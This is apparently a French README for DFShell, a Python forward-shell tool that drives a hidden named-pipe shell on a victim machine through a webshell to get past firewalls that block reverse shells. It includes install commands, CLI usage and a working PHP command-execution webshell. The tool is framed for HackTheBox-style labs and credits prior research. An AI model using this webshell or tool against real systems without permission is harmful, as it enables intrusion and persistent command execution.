
Outil de shell direct basé sur Python qui crée un shell interactif de type TTY via HTTP en utilisant des pipes nommés, permettant l'exécution de commandes sur des cibles protégées par un pare-feu sans connexions réseau persistantes.
██████╗ ███████╗███████╗██╗ ██╗███████╗██╗ ██╗
██╔══██╗██╔════╝██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║█████╗ ███████╗███████║█████╗ ██║ ██║
██║ ██║██╔══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
██████╔╝██║ ███████║██║ ██║███████╗███████╗███████╗
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
D3Ext's Forward Shell est un script python3 qui utilise mkfifo pour simuler un shell sur la machine victime. Il crée un répertoire caché dans /dev/shm/.fs/ où les fifos sont stockés. Vous pouvez même simuler un TTY via le webshell.
Ce forward shell crée un shell qui accepte les commandes via un Named Pipe (mkfifo) et affiche les résultats dans un fichier. Ainsi, le shell ne nécessite pas de connexion réseau persistante, vous pouvez donc établir un TTY approprié derrière un pare-feu qui bloque les shells inverses/liés.
Installer depuis les sources
git clone https://github.com/D3Ext/DFShell
cd DFShell
pip3 install -r requirements.txt
Installer avec pip
pip3 install dfshell
DFShell dispose de divers paramètres CLI pour améliorer la configuration du forward shell.
Panneau d'aide
usage: dfshell.py [-h] -u URL -p PARAMETER [-t TIMEOUT] [--path PATH] [-v VERBOSE]
D3Ext's Forward Shell - Enhanced forward shell with integrated commands
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL url of the webshell (i.e. http://10.10.10.10/webshell.php)
-p PARAMETER, --parameter PARAMETER
parameter of the webshell to execute commands (i.e. cmd)
-t TIMEOUT, --timeout TIMEOUT
timeout of requests that execute commands (default 20s)
--path PATH path in which to create named pipes (default /dev/shm/.fs)
-v VERBOSE, --verbose VERBOSE
print more information
Il envoie des requêtes GET à l'URL donnée, donc le webshell devrait ressembler à ceci :
<?php
if(isset($_REQUEST['cmd']))
{
system($_REQUEST['cmd']);
}
?>
Testé sur Parrot OS avec un serveur Apache
Si vous voulez tester cet outil dans des environnements contrôlés, voici une liste de machines HackTheBox sur lesquelles des règles de pare-feu sont appliquées sur le serveur web, donc forward shell est une excellente alternative pour passer directement à l'escalade de privilèges.
Merci à @ippsec pour cette technique géniale
https://github.com/IppSec/forward-shell
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux#forward-shell
https://www.f5.com/labs/learning-center/forward-and-reverse-shells
https://github.com/Hypnoze57/FShell
https://s4vitar.github.io/ttyoverhttp/
Voir CONTRIBUTING.md
Voir CHANGELOG.md
Ce projet est sous licence MIT
Copyright © 2023, D3Ext